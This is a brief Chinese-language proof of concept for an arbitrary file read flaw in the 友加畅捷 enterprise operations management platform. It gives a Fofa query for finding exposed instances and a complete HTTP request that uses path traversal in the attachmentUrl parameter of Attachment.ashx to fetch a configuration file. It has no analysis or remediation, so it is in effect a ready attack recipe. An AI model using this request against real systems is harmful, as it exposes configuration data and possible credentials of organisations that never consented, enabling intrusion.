友加畅捷管理系统-Attachment-任意文件读取

Fofa:product="友加畅捷-企业实时运营管理平台"

poc

GET /Controllers/ajax/Attachment.ashx?attachmentUrl=../../config/sysconfig_zts.fig HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9